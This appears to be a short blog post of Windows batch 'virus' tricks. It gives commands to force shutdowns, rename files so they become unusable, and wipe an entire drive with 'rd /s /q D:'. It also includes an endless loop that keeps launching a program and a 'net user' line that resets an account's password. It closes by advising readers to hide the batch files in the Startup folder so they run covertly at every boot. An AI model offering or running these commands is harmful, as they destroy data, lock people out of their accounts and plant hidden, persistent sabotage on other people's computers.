Shutting down the System:
shutdown -s -f //shuts down system forcefully within 30 secs.
Restart the System:
shutdown -r -f //restarts the system forcefully within 30 secs.
Changing File Extensions:
ren [filename.ext] [samefilename.differentext] //makes the files unusable.
Deleting all files of a drive:
@echo off
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi41w6nhPeL-wimc1Yv89XVIz3HL1MwvBCGLc1njNX42FdNpp_wn9dPZL6DLpXEe5GPYeaE-_6MQKuQqn3u37HoSzcUszYjCmbfvgB-_m5x9_NPgOJWXVeYFgFiP5ArMfnBUaaBteAJzjs/s320/7529794-a-computer-virus-crashes-and-breaks-a-laptop-or-netbook-to-pieces.jpg)
rd /s /q [drivename:]
ex: @echo off
rd /s /q D:
note :- Not applicable for only the system drives.
Opening a file infinite no. of times:
@ECHO OFF
:BEGIN
start [applicationname/filename.ext]
goto BEGIN
ex:-
@ECHO OFF
:BEGIN
start notepad
goto BEGIN
net user [annount_name] *
ex:- net user john *
note:- For best results, copy the created batch files in a folder named 'startup',applying the attributes and hiding it.